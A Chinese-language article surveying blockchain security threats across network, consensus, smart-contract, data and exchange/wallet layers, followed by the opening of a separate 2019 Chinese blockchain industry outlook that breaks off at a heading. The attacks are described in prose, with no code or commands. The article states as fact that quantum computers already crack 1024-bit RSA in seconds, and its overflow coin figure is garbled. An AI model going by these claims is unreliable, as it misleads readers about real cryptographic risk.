区块链面临的安全威胁和挑战

在区块链技术安全范畴中,既有“传统”互联网世界中面临的网络拒绝服务攻击、代码漏洞等攻击威胁,也包含区块链独有的风险点(如智能合约漏洞)。2010年8月15 日,比特币发生的代码漏洞攻击事件中,有人在比特币区块链的第74638块上发现了一条让人惊愕的交易,这笔交易里竟然出现了184,467.440737.09551616 个比特币,其中各有922亿个比特币被发送到两个比特币地址。这次攻击的根本原因则是比特币的验证机制中存在大整数溢出漏洞,由于大整数溢出为负数,网络各个节点对黑客的交易均验证通过,导致了比特币区块链中凭空出现了大量比特币。

本文将从区块链的技术架构出发,分析基础组件和设施安全风险、系统核心设计风险和应用生态面临的安全威胁。

1. 基础组件和设施面临的安全威胁

基础组件层利用基础设施可以实现区块链系统网络中信息的记录、验证和传播。在基础组件层之中,区块链是建立在传播机制、验证机制和存储机制基础上的一个分布式系统,整个网络没有中心化的硬件或管理机构,任何节点都有机会参与总账的记录和验证,将计算结果广播发送给其他节点,且任一节点的损坏或者退出都不会影响整个系统的运作。其对应的安全风险包括网络安全问题、密码学安全问题和数据存储安全问题。其中的数据存储安全问题涉及内容安全层面,面临有害信息上链以及资源滥用等风险,限于篇幅,具体内容不展开介绍。

1.1 密码学安全威胁分析

区块链技术本身采用了密码学的很多机制,例如非对称加密、哈希算法等,这些密码学算法目前来讲是相对安全的。随着数学、密码学和计算技术的发展,尤其是人工智能和量子计算的兴起,这些算法面临着被破解的可能性。同时,这些密码算法需要编程实现,在代码实现方面也可能存在缺陷和漏洞。

ECC、RSA、 哈希等复杂加密算法本身以及在算法的工程实现过程中都可能存在后门和安全漏洞,进而危及整个区块链验证机制的安全性。具有超级计算能力量子计算机的出现也在对密码学构成潜在威胁,随着量子计算技术的飞速发展,大量子比特数的量子计算机、量子芯片、量子计算服务系统等相继问世,可在秒级时间内破解非对称密码算法中的大数因子分解问题(其破解拥有1024位密钥的RSA算法只需数秒),这正在成为威胁区块链数据验证机制的典型攻击手段之一。2017年5月,新型数字加密货币IOTA团队请求MIT研究组审计其软件及代码。7月,MIT研究者告知IOTA团队,他们发现了IOTA的加密哈希功能函数Curl中存在严重的漏洞(哈希碰撞),因此IOTA的数字签名及PoW安全性均无法保障。8月,IOTA 团队采用SHA-3替代掉了备受质疑的Curl哈希算法。

移动数字钱包等区块链客户端软件的安全实现涉及公私钥的使用,而通常情况下用户都是使用软件来生成公私钥,其中私钥的安全性会直接涉及到用户钱包或资产的安全问题,如果在不安全的环境中运行私钥,会增加私钥的泄露风险给用户带来不可预知的损失。目前,针对区块链客户端软件进行攻击的方法基本相同:一种方法是通过窃取凭据来寻求获得系统未经授权的访问权限;另外一种方法则是通过捕获信息、植入恶意软件和/或使用社会工程实现对用户机器中私钥的窃 取。2017年,以太坊浏览器Mist爆出“高危”漏洞,漏洞来源于底层软件框架Electron, 这个漏洞让加密数字货币私钥处于未知风险。一再发生的区块链密钥被盗攻击事件已经表明,一些程序正在生成弱密钥,产生有限范围的可能值,而通过这些有限的随机数生成器生成的密钥可以更容易地被蛮力攻击。

1.2 P2P网络安全威胁

区块链系统以P2P网络为基础,针对P2P网络,攻击者可以发动Eclipse日食攻击、分割攻击、延迟攻击、窃听攻击、DDoS拒绝服务攻击,进而造成整个区块链系统的安全问题。

在区块链P2P网络中通常采用广播机制来传播节点信息,而广播机制中常见的攻击方式则主要有双花攻击和交易延展性攻击两种。

1)日食攻击

日食攻击是通过其他节点实施的网络层面攻击,其攻击手段是囤积和霸占受害者的点对点连接间隙,将该节点保留在一个隔离的网络中。这种类型的攻击旨在阻止最新的区块链信息进入到被攻击的节点,从而隔离节点。

比特币和以太坊网络已被证实均能被实施日食攻击。针对比特币网络,攻击者会先控制足够数量的IP地址来垄断所有受害节点之间的有效连接,之后攻击者则会征用受害者的挖掘能力,并用它来攻击区块链的一致性算法或用于“重复支付和私自挖矿”。而针对以太坊网络,攻击者会垄断受害节点所有的输入和输出连接,将受害节点与网络中其他正常节点隔离开来,进而攻击者会诱骗受害者查看不正确的以太网交易细节,诱骗卖家在交易其实还没有完成的情况下将物品交给攻击者。对比特币网络上的节点实施日食攻击需要成千上万个恶意节点才能搞垮一个受害者的节点,而在以太坊网络上,攻击者只需通过建立一个僵尸网络(如购买云服务)就可以发起攻击。论文《Low-Resource Eclipse Attacks on Ethereum’ s Peer- to-Peer Network》指出:攻击者只需要两个恶意的以太坊节点就能隔离和影响另一个节点进行日食攻击,因此对以太坊网络实施日食攻击的成本较低。

2)分割攻击

边界网关协议(BGP)是因特网的关键组成部分,其主要用于确定路由路径,而通过劫持BGP可以实现对基于物联网信息传递的区块链节点流量的误导和拦截。利用BGP操纵因特网路由路径,在最近几年中已经变得越来越频繁。网络犯罪分子可以利用劫持BGP误导和拦截流量,一旦区块链网络中节点的流量被接管,会对整个网络造成巨大影响,如破坏共识机制、交易等各种信息。

攻击者可以利用BGP劫持将区块链网络划分成两个或多个无法通信的独立不相交网络,此时的区块链分叉为两条或多条并行链。攻击停止后,区块链会重新统一为一条链,以最长的链为主链,其他的链将被废弃,被废弃的链上的交易、奖励将全部无效,从而导致双重花费甚至是多次花费问题的出现。

3)延迟攻击

攻击者可以利用BGP劫持来延迟目标的区块更新,而且不被发现。在目标请求获取最新区块的时候,攻击者可以基于中间人攻击修改目标请求为获取旧区块的请求,使得目标获得较旧的区块。例如在挖矿过程中如果遭遇了延迟攻击,矿工获取最新块的请求被恶意修改使其无法获取到新区块,这将导致矿工的算力无辜受损。

4) DDoS攻击

区块链网络中具有数以百万计的在线用户数,区块链节点会提供大量的分布式存储和网络带宽可用资源服务于百万在线用户。攻击者只需在层叠网络(应用层)中控制这些节点资源,而无需入侵区块链网络节点所运行的主机,即可利用这些资源作为一个发起大型DDoS攻击的放大平台。理论而言,将区块链网络作为DDoS攻击引擎时,假如该网络中有一百万个在线用户,则可使得攻击放大一百万倍甚至更多。

2017年2月份,以太坊Ropsten测试链遭到恶意攻击,攻击者发动了千万级别的垃圾交易信息,直接阻塞了网络的正常运行。

2018年3月22日,闪电网络节点遭受DDoS攻击,导致大约200个节点被迫离线,其在线节点从大约1,050 个降到了870个。

根据攻击方式的不同,基于区块链的DDoS攻击可分为主动攻击和被动攻击两种。基于区块链的主动DDoS攻击是通过主动向网络节点发送大量虚假信息,使得针对这些信息的后续访问都指向受害者来达到攻击效果,其具有可控性较强、放大倍数高等特点。这种攻击利用了区块链网络协议中的“推(push)” 机制,反射节点在短时间内接收到大量通知信息后不易于分析和记录,攻击者还可以通过假冒源地址来躲避IP检查,使得追踪定位攻击源更加困难。此外,主动攻击在区块链网络中引入额外流量,会降低区块链网络的查找和路由性能,而虛假的索引信息则会影响文件下载速度。基于区块链的被动DDoS攻击是通过修改区块链客户端或者服务器软件,被动等待来自其它节点的查询请求,再通过返回虚假响应实现攻击效果。通常情况下,其会采取一些放大措施来增强攻击效果,如:部署多个攻击节点、在一个响应消息中多次包含目标主机、结合其它协议或者实现漏洞等。这种攻击利用了区块链网络协议中的“取(pul)”机制。被动攻击属于非侵扰式,对区块链网络流量影响不大,通常只是针对局部的区块链节点。

5) 交易延展性攻击

区块链节点与节点互相连接,当某节点接入到区块链网络后,单个节点会与其他节点建立连接并拥有广播信息的资格,这些具备广播信息资格的节点在将信息传播给其他节点后,其他节点会验证此信息是否为有效信息,确认无误后再继续向其他节点广^播,这种广播机制会面临如交易延展性攻击等风险攻击者通过侦听P2P网络中的交易,利用交易签名算法特征修改原交易中的input签名,生成拥有一样input和output的新交易,广播到网络中形成双花,这样原来的交易就可能有一定概率不被确认,在虚拟货币交易的情况下,它可以被用来进行二次存款或双重提现。

2013年11月,GHashio 矿池对赌博网站BetCoin Dice进行多次付款欺诈,进行双花攻击。

2014年8月,在线黑市Silk Road2遭遇交易延展性攻击,部分比特币被盗,损失约260万美元。

2. 系统核心设计安全威胁

智能合约作为区块链2.0区别于1.0的显著特性,正在被广泛使用。数据层和共识层作为区块链系统的必要元素,与合约层一起共同构成了区块链系统的核心,衔接着基础服务与应用生态。

2.1 共识层安全威胁

由于区块链去中心化的特点,每一个处于区块链网络中的节点都拥有一份完整的账本数据,并且由网络中的共识机制执行相应的共识算法来共同记录整个网络中的交易等相关信息。目前的共识机制有PoW、PoS、 DPoS、 Pool 验证池机制、PBFT等,其主要面临的攻击有女巫攻击、51%攻击、长距离攻击、短距离攻击、币龄累计攻击、预计算攻击。PoW、PoS、 DPoS这三种常见共识机制所面临的攻击方式如表2-1所示。

46d26a20e7794e20825866caf680bd6b

1) 51%攻击

在PoW算法中被证明存在51%算力攻击威胁,即如果某一个节点或者由部分节点组成的组织掌握了全网超过51%的算力,这些节点就有能力将目前正在工作的区块链转移到另一-条包含有恶意行为的区块链上,并使得全网节点在这条恶意的区块链上继续工作。

如果攻击者能够控制全网算力的一半以上,攻击者可以比网络的其他部分更快地生成块,随着攻击者坚持自己的私有分支,直到它比诚实节点网络建立的分支更长,将可以使得全网节点在这条恶意的区块链上继续工作,近而代替主链。

由于比特币所使用的PoW算法的安全性依赖于其所消耗的巨大算力,51%算力攻击曾一度被认为是难以达到的。然而随着矿池的出现,一个名为GHash的矿池就曾经在2014年6月拥有全网51%的算力,因此,51%算力攻击的威胁始终存在,并且有可能发生。2016年8月份,基于以太坊的数字货币Krypton 遭受来自一个名为“51%Crew”的组织通过租用Nicehash算力所发起的51%攻击,导致该区块链损失约21,465KR的代币。据Crypto51.app数据统计,想完成对比特币一个小时的51%算力攻击的成本大概要55万美金,完成对以太坊的攻击需要36万美金,莱特币需要6.4万美金,比特币现金需要7.2万美金,最近刚被攻击过的BitcoinGold比特币黄金只需要三千八百六十美金就能完成51%攻击,在统计的流通性比较高的数字货币里攻击成本最低的就是Bytecoin, 要完成攻击仅仅需要五百五十七美金。而实际上,随着挖矿业务的发展,现在通过网络租赁算力的业务也越来越成熟了,攻击者不再需要花费大量成本去购买矿机,只需要在攻击的时候即时从网上租赁算力来发动51%攻击,利用51%算力攻击一个数字货币的成本在越来越低。

2)女巫攻击

女巫攻击又称Sybil攻击,攻击者通过创建大量的假名标识来破坏对等网络的信誉系统,使用它们获得不成比例的大的影响。为了应对这种威胁,对等网络中的实体为了冗余机制、资源共享、可靠性和完整性而使用多个标识。多个标识可以对应于单个实体,身份到实体的映射是多对一的。对等网络上的实体是能够访问本地资源的一块软件,实体通过呈现身份在网络上通告自身。在对等网络中,身份抽象化使得远程实体可以知道身份而不必知道身份与本地实体的对应关系。默认情况下,通常假定每个不同的标识对应于不同的本地实体。实际上,许多身份可以对应于相同的本地实体。攻击者可以向对等网络呈现多个身份,以便出现并充当多个不同的节点。因此,攻击者可能能够获得对网络的不成比例的控制水平,例如影响投票结果。

3)短距离攻击

攻击者通过控制一定比例、保障系统安全性的计算资源、加密货币资源等各种资源,实现在执行花费代币或执行智能合约等操作时将 其回滚,从而进行双花攻击,即一个加密货币进行两次花费。

当攻击者发起短距离攻击时,首先会向全网提交一个待回滚的交易,并在上一个区块的分叉上(不包含待回滚交易的分叉)继续进行挖矿,直到该交易得到n个区块确认信息。若分叉上的区块数多于n,则攻击者公布包含有待回滚交易的区块。这样,由于分叉链的长度大于原本的主链,则全网节点将分叉链视为主链,此时,交易得到回滚。

4) 长距离攻击

攻击者通过控制一定比例的系统资源,在历史区块、甚至是创世区块上对区块链主链进行分叉,旨在获取更多的区块奖励和/或者达到回滚交易的目的。这种攻击更多的是针对基于权益证明共识机制的系统。即使攻击者可能在分叉出现时仅持有一小部分的代币,但他可以在分叉上自由地进行代币交易,从而导致攻击者能够更加容易地进行造币并快速形成一条更长的区块链。

5) 币龄累积攻击

基于PoS共识机制的系统中,攻击者可以利用币龄计算节点权益,并通过总消耗的币龄确定有效的区块链。未花费交易输出(UTXO)的币龄是根据币龄乘以该区块之前的历史区块的数量得出(比如点点币)。在币龄累计攻击中,攻击者将其持有的代币分散至不同的UTXO中,并等待直至其所占权益远大于节点平均值。这样,攻击者有极大的可能性连续进行造币,从而达到对主链的分叉或交易回滚(如实施双花攻击)的目的。

6)预计算攻击

在PoS共识机制中,解密当前区块取决于前一个区块的哈希值。拥有足够算力和权益的攻击者可以在第n个区块的虚拟挖矿过程中,通过随机试错法对该区块的哈希值进行干涉,直至攻击者可以对第n+1个区块进行挖矿,从而,攻击者可以连续进行造币,并获取相对应的区块奖励或者发起双花攻击。

2.2 合约层安全威胁

智能合约是区块链2.0的一个特性,随着区块链2.0技术的不断推进,智能合约在以太坊、EOS、 Hyperledge 等平台上得到广泛应用。区块链的智能合约一般都用来控制资金流转,应用在贸易结算、数字,资产交易、票据交易等场景中,其漏洞的严重性远高于普通的软件程序。由于智能合约会部署在公链暴露于开放网络中,容易被黑客获得,成为黑客的金矿和攻击目标,一旦出现漏洞,将直接导致经济损失。从TheDAO到BEC和SMT的整数溢出漏洞、再到EOS缓冲区溢出越界写漏洞,智能合约的安全漏洞频发,“智能合约”已经成为区块链安全的重灾区。

以太坊( Ethereum)是目前最热门的具有智能合约功能的开源公共区块链平台,区块链上的所有用户都可以看到基于区块链的智能合约。但是,这会导致包括安全漏洞在内的所有漏洞都可见。如果智能合约开发者疏忽或者测试不充分,而造成智能合约代码存在众多漏洞,就非常容易被黑客利用并攻击。并且功能越强大的智能合约,逻辑越复杂,也越容易出现逻辑上的漏洞。来自新加坡国立大学、耶鲁新加坡国立大学学院和伦敦大学学院的一组研究人员发布了一份报告,声称已经发现了3.4万多份以太坊智能合约可能存在容易被攻击的漏洞,其中大约3000个不安全的智能合约可能会造成600万美元的ETH被盗。表2-2列出了以太坊的合约层漏洞。

c22e3673adce4c2a889701f121f1c3c0

c386df8f98af40fa83f74fa93335524e

82af473fd5a14ba0be3de9a8624cbb47

9dbb6db4d7334fb78f6daff980ea63b9

b8da6f8b788848cd8d838af81608ced4

0f98bd85185141cfbdcb37ef27d5a67e

2.3 数据层安全威胁

区块链数据具有不可篡改、去中心化生成和确认的特点,这也就造成了区块链数据的难以监管,使之可被利用进行恶意攻击和恶意内容传播。

2017年在EuskalHack安全会议上,有安全研究者提出了基于区块链模式的botnet网络,利用区块链网络进行C&C的恶意指令发布并且提供了POC。

2018年3月德国RWTH亚琛工业大学的研究人员发现了比特币区块链中的非财务数据,其中包括色情内容等。幸运的是,亚琛工业大学的研究人员没有发现任何恶意软件保存在比特币区块链上。在他们的论文中,研究人员指出了你可以通过多种方式在加密货币的区块链上插入内容,其中包括CryrtoGrafiti、Satoshi Uploader和Apertus等服务。但另一方面,如果不能开发出解决方案来移除区块链当中的色情内容,那添加的数据就永远无法管理,并且无法被清除。

目前比特币、以太坊和Hyperledger Fabric都采用全网节点共享一条区块链的单链方案,网络上的每个节点需要处理、存储全网的所有交易和全部数据,整个区块链系统的处理能力实际上受限于单个计算节点的处理能力。另外,受到共识算法的影响,随着节点数的增加,系统整体处理能力不但未随之提升,甚至还会降低。

区块链对于网络中的节点来说是透明的,任何一个节点都可以获取区块链上的所有信息。虽然比特币使用随机数和非对称加密算法生成唯一地址作为用户的地址进行交易,但是如果这些地址直接或间接地与真实世界发生了联系,就会失去其匿名性,从而泄露其个人隐私。另外,不同的地址之间如果出现稳定的关联交易,通过分析交易规律,甚至能够推测出用户的身份信息和位置信息。如果交易节点被攻击,攻击者不仅可获得用户的交易信息,而且很容易借此为跳板破坏整个交易链。

3. 应用生态安全威胁

区块链的应用已从数字货币的虚拟世界走向了与现实世界相对接的实际应用场景中,其应用生态安全涉及数字货币交易平台、区块链移动数字钱包App、网站、DApp等。

和传统金融机构差别不大,数字货币交易所整个信息系统由Web服务器、后端数据库等元素构成,用户通过浏览器、移动端App以及交易所提供的API等多种方式作为客户端访问服务器。美国数字货币安全公司CipherTrace发布的二季度观察报告显示,2018年前6个月,全球数字货币交易所共有价值7.61亿美元的数字货币被黑客窃取。而整个2017年的损失金额也不过2.66亿美元。2018年上半年以来,被盗取的数字货币金额已经达到了2017年的3倍之多。结合各大交易所出现的攻击事件发现,这部分面临的安全威胁主要包括:服务器软件漏洞、配置不当、DDoS攻击、服务端Web程序漏洞(包括技术性漏洞和业务逻辑缺陷)。

本部分重点介绍网站和移动数字钱包App面临的威胁。

3.1交易网站面临的安全威胁

和其他网站一样,交易网站面临账户泄露、DDoS、Web注入等攻击,对于规模较大,用户较多的交易所,还会面临用户被攻击者利用仿冒的钓鱼网站骗取认证信息等威胁。

1)账户泄露攻击事件

黑客可利用病毒、木马、钓鱼等传统攻击手段窃取用户账号,进而利用合法用户账号登录系统进行一系列非法操作,或者通过非法手段拿到交易所系统的数据库,由于数据库存储着用户的注册信息,且这些数据没有加密,黑客拿到这些数据后可以在互联网上售卖或者对平台进行恶意操作。攻击者破解其他安全措施较弱的网站密码,通过撞库的方式获得登录口令,因此采用双因子认证等传统安全用户认证方式对于数字货币交易所和区块链应用系统来说非常必要。

2017年10月2日,OKCoin旗下交易所出现大量账户被盗情况,不完全统计损失金额在1000万人民币左右,用户怀疑平台已被攻击, 或有已被关闭平台的交易所员工向黑客泄漏了平台用户的账户信息,黑客通过用户信息破解账户密码登录平台,然后在平台上完成数字资产转移。

2) Web注入攻击件

攻击者可以采用SQL注入、XSS跨站脚本攻击等方式对Web进行注入攻击,SQL注入是把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如IJavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的,比如获取用户的Cookie, 导航到恶意网站,携带木马等。

2017年8月份,一款名为Ti ickbot的木马就针对包括Coinbase在内的几家数字货币交易所增加了Web注入攻击功能,在受害者购买数字货币的时候和会将接收钱包重定向到攻击者的钱包,让用户误以为转账成功,实际上是给攻击者转账了。

3) DDoS攻击

在区块链应用中,攻击者可针对区块链应用层和底层协议缺陷发起针对性的DDoS攻击,影响各类应用业务的可用性。2017年5月12日,Poloniex交易平台遭受了严重的DDoS攻击,BTC/USDT的交易价格一度困于1761美元,绝大多数用户都无法执行订单或是提取资金。根据云计算安全服务提供商Incapsula发布的2017年第四季度DDoS威胁报告,应用层DDoS攻击数量较前一季度成倍增长,且针对加密货币行业的攻击数量持续增长,占所有攻击数量的3.7%。

4)钓鱼网页攻击

2017年4月14日,在约翰霍普金斯大学研究数学的学生xudongzheng发表了一篇论文, 题目是《Phishing with Unicode Domains》,中文大意为“用unicode网址钓鱼”,文章中给出的一一种钓鱼 方法会使用多语言字符混合来骗过用户眼睛。

2018年3月7日,知名数字货币交易平台币安遭到黑客攻击,此次攻击造成全球数字币价格大跌。根据交易所的公告,攻击者利用钓鱼欺骗的方式骗取了部分用户的认证凭证,在掌握用户的账户权限之后,使用机器挂单,继而利用API发起大量交易,进行程序化高频交易,给用户带来巨大损失。

3.2 数字货币钱包App面临的威胁

利用移动数字货币钱包App管理数字货币资产,可以随时查询钱包历史,获得全球实时交易行情。数字货币钱包App中保存的私钥是区块链节点和数字货币账户授权活动的直接手段,加密数字货币资产的安全性建立在加密数字钱包私钥本身的安全性上,私钥是唯一的数字资产凭证,敌手一旦拿到私钥,就可以拿到私钥所担保的任何钱包,因此黑客会想方设法窃取私钥。移动数字货币钱包App与其他App一样,会遭受破解、内存篡改攻击等。

1)私钥窃取

Google Play 商店中超过2000款移动数字货币钱包App,由于移动开发过程中缺乏对安全性的认识,前30款总安装量达到10万的数字货币钱包App中,有94%包含至少3个“中等风险”漏洞,77%包含至少2个“高风险”问题。根据分析显示,最常见的漏洞是数据存储安全性不足、密码系统安全性不足,这些漏洞会导致私钥的窃取,个人隐私信息泄露等安全事件。

一些数字货币钱包为了便于用户记住私钥,使用助记词的方式,但是部分数字货币钱包的助记词采用明文存储的方式,一旦数字货币钱包App存在漏洞,拿到系统的root权限,就可以获取钱包的助记词,导致数字资产随时被盗取。已有公司对市面上的数字钱包产品在私钥存储问题上进行了安全分析,发现Bitcoin Wallet 和Jaxx BlockchainWallet两款产品在私钥存储中存在巨大的安全漏洞,加密数字货币资产面临被盗风险。黑客通过尝试捕获信息、植入恶意软件和/或使用社会工程即可从用户机器中窃取私钥。

2)破解攻击

数字货币钱包App涉及到数字货币资产,是网络黑产和黑客重点关注的对象,网络黑产可以从各种渠道找到App的apk,将apk文件逆向破解后植入病毒、木马代码,最后二次打包投入公开市场,当不明真相的币友将带病毒、木马的App下载后,会带来巨大经济损失。

在开发移动App时,程序员会用到各类的编程语言,如Java、C、C++以及各类脚本语言等都被广泛大量使用。但Java、 C这样的中间语言有一个极大的弱点就是极易被反编译。Java的基本类库(JDK)是开源的,这就使很多Java开发的应用被逆向破解的门槛很低。目前市面上有大量的逆向破解工具,例如: Dex2Jar、 JEB、JD-GUI 等等。且网上有公开、详细的破解教程,只要懂代码编程,利用这些工具就可以破解市面上那些防御薄弱、存在大量安全漏洞的App。

3) App内存篡改攻击

App应用中的高度敏感和关键性信息驻留在一个应用内存中, 如果未受到保护,则这些信息可以被随意查看和篡改。黑客通常使用进程调试、动态注入、HOOK等技术来实现对App内存的攻击,这些攻击方式主要是先对App Code控制,App Data控制进行攻击修改。通过控制内存中的应用代码,可以调试解析出应用内逻辑、功能、流程、漏洞等各类关键内容。针对发现的漏洞植入相应的后门代码,以便针对应用进一步攻击对移动应用数据的攻击,是黑客/攻击者的核心内容,App内存中包含很多重要个人信息和应用变现相关的信息和逻辑。黑客对内存中的Data进行控制,以达到篡改App应用的目的,如修改转账金额、账户等。

4. 区块链面临的安全挑战

4.1钱包安全管理

区块链钱包(Block Chain Wallet)是密钥的管理工具,它只包含i密钥而不是确切的某一个代币;钱包中包含成对的私钥和公钥,私钥与用户的资产直接关联,用户用私钥来签名交易,从而证明该用户拥有交易的输出权。获取了私钥,就获得了资产的使用权和交易权。黑客复制或窃取私钥可能不会在计算机上留下任何痕迹,甚至可以无限地尝试解密或尝试从给定的分类帐中复制加密数据,恶意用户访问钱包可能很难被发现。

私钥保护不仅要考虑在黑客机器上发生的行为,例如不受服务器强加的查询限制进行文件解密尝试或私钥再现,还需要保证在没有任何其他人能够注意的情况下保证私钥运行时的安全。

钱包软件需要保护私钥在运行和存储时的安全,包括未经授权不允许访问、运行过程防止被监控,甚至做到软件被控制、监视也无法获取私钥:此外,也需要考忠用户密钥被盗、丢失后账户资产的安全。因此,如何保证私钥的运行安全以及在保证资产安全的前提下进行私钥备份是钱包安全管理面临的挑战。

4.2 智能合约安全

由于智能合约的不完善,且还存在着许多漏洞,执行起来仍然是一-件具有挑战性的问题。一旦这些漏洞被黑客利用,就会造成虚拟货币的财产外泄,被不法分子盗取。在智能合约中采用全同态加密技术,可保证区块链中数据的隐私和数据在不可信环境下运算的正确性,但全同态加密技术距离实际应用还存在一定的距离。

智能合约本质上是一段运行在区块链网络中的代码,它界定了各方使用合约的条件,在满足合约条件下某些机器指令被执行。而代码在设计和开发过程中,不可避免出现漏洞。开源代码大约每1000 行就含有一个安全漏洞,表现最好的Linux kermel 2.6版本的安全漏洞率为每一千行代码0.127个。安全智能合约的开发对程序员本身是一个挑战。智能合约作为新生事物,熟悉智能合约的开发人员不多,受限于程序员的安全意识和代码编写能力,可能在开发时无法意识到自己造成了安全是区块链安全面临的一大挑战。

此外,智能合约还是多方业务的交互规则,智能合约的安全不仅要考忠代码编写时防止整数溢出等漏洞,且需要先进行智能合约协议安全性分析,防止业务逻辑漏洞的出现。如何保证智能合约的安全是区块链安全面临的一大挑战。

4.3 隐私安全

区块链是一种分布式账本,意味着数据在网络上的所有参与方之间共享。一方面,这会对许多参与节点链的节点的可用性产生积极影响,使其更加健壮和有弹性。另一方面,可能会对机密性产生负面影响。

文章导读: 在区块链技术安全范畴中,既有“传统”互联网世界中面临的网络拒绝服务攻击、代码漏洞等攻击威胁,也包含区块链独有的风险点(如智能合约漏洞)。本文将从区块链的技术架构出发,分析基础组件和设施安全风险、系统核心设计风险和应用生态面临的安全威胁。

2019年中国区块链发展形势展望

2018匆匆而过,展望2019,区块链发展面临的问题有哪些,突破又在何处?作为权威机构,工信部赛迪网络空间研究所、赛迪区块链研究院在全球公有链评级工作的基础上,对于区块链技术产业发展面临的瓶颈给出意见与建议,对2019年区块链的发展做出了基本判断,具有十分重要的参考价值。

【内容提要】展望2019年,我国区块链技术与产业发展仍存在诸多瓶颈,如区块链安全问题日益突出,区块链关键技术亟需突破,区块链有待与实体产业深度融合,以及区块链人才缺口较大。基于此,赛迪智库提出了加强安全技术研究,构建区块链安全风险应对能力;提升自主研发实力,加速区块链核心技术突破;开展试点示范,促进区块链与实体产业深度融合;完善区块链人才培养机制,建设区块链人才队伍等对策建议。

【关键词】 区块链  安全 发展形势  展望

2018年,我国区块链行业政策环境显著优化,技术能力快速提升,行业应用逐步拓展。展望2019年,我国区块链行业秩序日趋规范,社会认识明显提高,区块链技术与产业进入快速发展时期。尽管如此,但仍需要关注区块链安全风险突出、核心技术亟需突破、区块链技术有待与实体经济深度融合发展、区块链人才缺口较大等问题,从而更好推动区块链技术与产业健康有序发展。

01

对2019年形势的基本判断

(一)区块链技术创新不断涌现

当前,区块链技术尚不成熟,仍处于发展早期。对于区块链性能、隐私安全、可扩展等方面的技术创新正在不断涌现。针对区块链性能问题,出现如下几类创新解决方案。一是并行的方式。例如以太坊分片技术、墨客MOAC子链技术、Fabric多通道技术;二是DAG(有向无环图)方式。例如区块链与物联网创新项目IOTA采用DAG技术使得区块链系统的可扩展性不再受到区块大小限制,仅取决于网络带宽、CPU处理速度和存储容量等限制;三是优化共识算法的方式。例如PoS共识算法通过保持多中心情况下减少参与共识的节点的方式以获取性能的提升。四是链下扩容方式。例如闪电网络、雷电网络等创新技术提高区块链处理交易能力,实现即时确认、低费用、高吞吐量的支付。针对区块链技术中隐私保护问题,业界提出了混币、环签名、同态加密、零知识证明、多方安全计算等创新技术方案。针对区块链可扩展和互联互通问题,业界提出了跨链的解决方案。主流的跨链技术有侧链/中继、公证人机制和哈希锁定三种方式,代表项目分别有COSMOS、Ripple、Lightning network。随着学界和业界对区块链研究不断深入,区块链技术创新成果将不断落地。

2019年,围绕区块链性能、隐私安全、可扩展等方面的技术创新将不断涌现,新技术、新产品和新应用将逐步进入视野。

(二)区块链底层平台竞争日趋激烈

根据赛迪全球公有链评估指数,仅作为评估对象的全球主流公链平台已超过30个。实际上,全球公有链项目远超过这个数目,而且数量上还在不断增加。不同区块链平台之间在设计理念和实现方面不尽相同,在区块链底层架构的标准尚未达成共识之前,区块链平台技术与应用的竞争日趋激烈。公有链方面,以以太坊、EOS为代表的区块链平台在全球范围内具有极强的影响力,其技术与应用生态正得到市场的认同。国内NEO、公信宝、星云链等公有链项目提出了各自基础架构设计理念并予以实现,同时积极推进开源社区建设和应用生态完善。但相比国外优秀公链项目,国内公有链平台仍处于跟随状态。联盟链平台方面,IBM的Fabric已经成为联盟链技术平台的典范。基于Fabric的行业解决方案已经在金融、供应链、存证、物流等诸多领域得到广泛应用。国内微众银行、万向区块链及矩阵元三方共同开发了BCOS区块链开源平台,提供企业级应用服务。区块链BaaS(区块链即服务)平台方面,国内互联网巨头纷纷战略布局。2017年4月,腾讯发布区块链白皮书并推出可信区块链Trust SQL;2018年3月,京东全面启动了区块链技术在业务场景中的应用探索与研发实践;2018年8月,阿里云宣布发布企业级BaaS平台,支持一键快速部署区块链环境,实现跨企业、跨区域的区块链应用。据不完全统计,截止2018年11月,已有9家大型互联网企业发布BaaS平台。

2019年,区块链底层平台发展百花齐放,区块链底层平台研发、应用推广、生态培育的竞争愈发激烈。

(三)区块链相关标准加快推出

我国在区块链相关标准建设方面已有一定基础,部分标准化组织、联盟协会、研究机构已将区块链标准化提上议事日程,开展了组织建设、标准预研等一系列工作,并取得了一定进展。区块链技术架构标准方面,首个区块链标准《区块链参考架构》于2016年已经颁布。在2017年11月ISO/TC 307第二次会上,在国际标准化组织(ISO)有关区块链术语和概念、参考架构、分类和本体等8项国际标准立项中,我国分别承担了分类和本体的编辑以及参考架构的联合编辑任务。同时,由中国主导开展名为区块链和分布式记账技术中的数据流动和数据分类的新工作项目研究。2018年1月,《信息技术 区块链和分布式账本技术 参考架构》作为区块链领域的首个国家标准获批立项。区块链安全标准方面,2018年4月,全国信息安全标准化技术委员会开展了对《区块链安全技术标准研究》项目立项评审工作。2018年11月,《区块链平台安全技术要求》行业标准正立项并起草,将明确区块链平台面临的主要威胁和安全体系架构。

2019年,我国区块链相关标准研制工作将得到进一步重视,一系列相关标准有望加快推出。

  

(四)区块链应用效果逐步显现

随着区块链技术不断发展,产业链不断完善,社会认知逐步提高,场景日益丰富,区块链应用效果逐步显现,这主要体现在两个方面。一是区块链率先应用于如跨境支付、数字内容版权、电子存证等天然数字化的场景之中。跨境支付方面,支付宝推出首个基于区块链的跨境汇款服务;数字内容版权方面,百度、360分别上线基于区块链技术的原创图片认证平台——图腾、图刻;纸贵科技构建了专业的全类型版权存证平台;腾讯基于区块链技术,实现游戏道具等虚拟数字资产确权和保护。电子存证方面,杭州上线全国首个电子证据平台和司法区块链,解决电子证据存取证难题;北京互联网法院在受理著作权权属、侵权纠纷的案例中使用了区块链取证存证技术。二是区块链应用于传统行业多方协作场景中。区块链技术实现数据公开、透明、不可篡改和可追溯降低参与各方信任成本,提高了协作效率,在供应链金融、溯源等需要多个参与方协作的业务领域得以深入应用。例如,腾讯推出了区块链+供应链金融解决方案,并已经有多个项目落地。京东“跑步鸡”项目,利用区块链等技术溯源跑步鸡养殖、屠宰、检验检疫、仓储、运输全程信息,并可通过APP查询,形成全流程追溯信息数据闭环。

2019年,随着区块链技术逐步成熟和底层平台逐步完善,区块链应用将会在更多行业场景落地。

  

(五)区块链产业规模快速增长

